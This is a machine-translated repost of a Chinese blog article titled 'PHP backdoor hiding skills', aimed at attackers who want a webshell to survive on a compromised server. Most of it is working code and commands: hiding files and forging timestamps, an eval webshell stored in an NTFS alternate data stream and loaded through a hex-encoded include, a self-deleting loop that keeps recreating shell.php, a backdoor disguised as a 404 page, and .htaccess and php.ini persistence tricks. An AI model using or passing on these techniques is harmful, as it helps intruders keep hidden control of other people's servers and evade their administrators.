当前位置:网站首页>PHP backdoor hiding skills
PHP backdoor hiding skills
2020-11-06 22:33:00 【Official account Bypass】
If you want your own Webshell Stay longer , except Webshell Don't kill , There are also some hidden techniques to be aware of , Like hiding files , Modify time properties , Hide file contents, etc .
1、 Hidden files
Use Attrib +s +a +h +r The command is to add system file properties to the original folder 、 Archive properties 、 Read only file properties and hidden file properties .
attrib +s +a +h +r shell.php // hide shell.php file
2、 Modify the file time attribute
When you try to hide your newly created files in a bunch of files , that , In addition to creating a confusing file name , You also need to change the revision date of the file .
// Modification time modification Set-ItemProperty -Path 2.txt LastWriteTime -Value "2020-11-01 12:12:12"// The visit time was modified Set-ItemProperty -Path 2.txt LastAccessTime -Value "2020-11-01 12:12:12"// Creation time modification Set-ItemProperty -Path 2.txt CreationTime -Value "2020-11-01 12:12:12"
Use the command to get the file properties
Get-ItemProperty -Path D:\1.dll | Format-list -Property * -Force
Modify the creation and modification time of all files in a folder
powershell.exe -command "ls 'upload\*.*' | foreach-object { $_.LastWriteTime = Get-Date ; $_.CreationTime = '2018/01/01 19:00:00' }"
3、 utilize ADS Hide file content
On the server echo A data stream file goes in , such as index.php It's a normal web page file , We can do it like this :
echo ^<?php @eval($_POST['chopper']);?^> > index.php:hidden.jpg
This creates an invisible shell hidden.jpg, Regular file manager 、type command ,dir command 、del The order couldn't find that hidden.jpg Of .
utilize include function , take index.php:hidden.jpg Conduct hex code , Put this ADS file include go in , In this way, we can analyze our sentence normally .
<?php @include(PACK('H*','696E6465782E7068703A68696464656E2E6A7067'));?>
4、 The undead horse
The undead horse will delete itself , Loop to create hidden backdoors in the form of processes .
<?phpset_time_limit(0); ignore_user_abort(1); unlink(__FILE__); // Delete yourself while(1){ file_put_contents('shell.php','<?php @eval($_GET[cmd]);?>'); // establish shell.php, It's better to use the sentence of no killing here sleep(10); // Time interval between }?>
The simplest and most effective way to deal with it , Restart the service and delete it webshell file .
5、 Middleware back door
Will be compiled so File copy to modules Folder , Start the back door module , restart Apache. When sending a string past for a specific parameter , Can trigger the back door .
github Project address :
https://github.com/VladRico/apache2_BackdoorMod
6、 utilize 404 Page hidden back door
404 The page is mainly used to enhance the user experience , Can be used to hide backdoor files .
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html><?php@preg_replace("/[pageerror]/e",$_POST['error'],"saft");header('HTTP/1.1 404 Not Found');?>
7、 utilize .htaccess Document composition PHP back door
commonly .htaccess It can be used to leave backdoors and bypass blacklists , Create... In the upload directory .htaccess File is written to , It doesn't need to be restarted to take effect , Upload png File parsing .
AddType application/x-httpd-php .png
in addition , stay .htaccess Join in php Parsing rules , Include the file name with 1 Analysis into php, Upload 1.txt It can be parsed .
<FilesMatch "1"> SetHandler application/x-httpd-php </FilesMatch>
8、 utilize php.ini Hide backdoor files
php.ini You can specify the name of the file that will be automatically resolved before and after the execution of the main file , Commonly used in the common header and tail of a page , It can also be used to hide php back door .
; stay PHP Automatically add files before documents .auto_prepend_file = "c:\tmp.txt"; stay PHP Automatically add files after the document .auto_prepend_file = "c:\tmp.txt"
Need to restart the service to take effect , Visit any one of php File is available webshell.
This article is from WeChat official account. - Bypass(Bypass--).
If there is any infringement , Please contact the [email protected] Delete .
Participation of this paper “OSC Source creation plan ”, You are welcome to join us , share .
版权声明
本文为[Official account Bypass]所创,转载请带上原文链接,感谢
边栏推荐
- Countdown | 2020 PostgreSQL Asia Conference - agenda arrangement of Chinese sub Forum
- 2020-09-04: do you understand the function call convention?
- Practice of Xiaoxiong school development board: real equipment access of smart street lamp sandbox experiment
- 心理咨询app开发所具备的优点与功能
- The Interpreter pattern of behavior pattern
- Unexpected element.. required element
- Hdu3974 assign the task segment tree DFS order
- 小熊派开发板实践:智慧路灯沙箱实验之真实设备接入
- Git SSH bad permissions
- Reserved battery interface, built-in charge and discharge circuit and electricity meter, quickly help easily handle hand-held applications
猜你喜欢

September 9, 2020: naked writing algorithm: two threads print numbers 1-100 in turn.

What are the highlights of Huawei mate 40 series with HMS?

小程序商城系统插件代码该如何写?怎么用代码检查添加插件是否成功?

Jenkins installation and deployment process

应用层软件开发教父教你如何重构,资深程序员必备专业技能

Configuration of AP hotspot on xunwei-imx6ull development board

How does varhart xgantt represent working days on a calendar

2020-08-15: under what circumstances should data tasks be optimized?

The advantages and functions of psychological counseling app

Common syntax corresponding table of mongodb and SQL
随机推荐
Experiment one
Js数组-数组的用法全在这里(数组方法的重构、数组的遍历、数组的去重,数组的判断与转换)
20个XR项目路演,近20个资本机构出席!诚邀您参加2020 Qualcomm XR生态合作伙伴大会
2020-08-14:数据任务的执行引擎用的哪些?
甘特图对活动进行分组教程
条形码识别性能低,如何优化Dynamsoft Barcode Reader解码性能
How does LeadTools detect, read and write barcodes
ado.net and asp.net The relationship between
非易失性MRAM存储器应用于各级高速缓存
PHP后门隐藏技巧
C calls SendMessage to refresh the taskbar icon (the icon does not disappear at the end of forcing)
Stickinengine architecture 11 message queue
Hdu3974 assign the task segment tree DFS order
预留电池接口,内置充放电电路及电量计,迅为助力轻松搞定手持应用
LEADTOOLS如何检测,读取和写入条形码
Design of NAND flash interface control
STM32F030F4P6兼容灵动微MM32F031F4P6
Es create a new index database and copy the old index library, practice pro test effective!
迅为-iMX6ULL开发板上配置AP热点
RFID fixed assets management system for fire equipment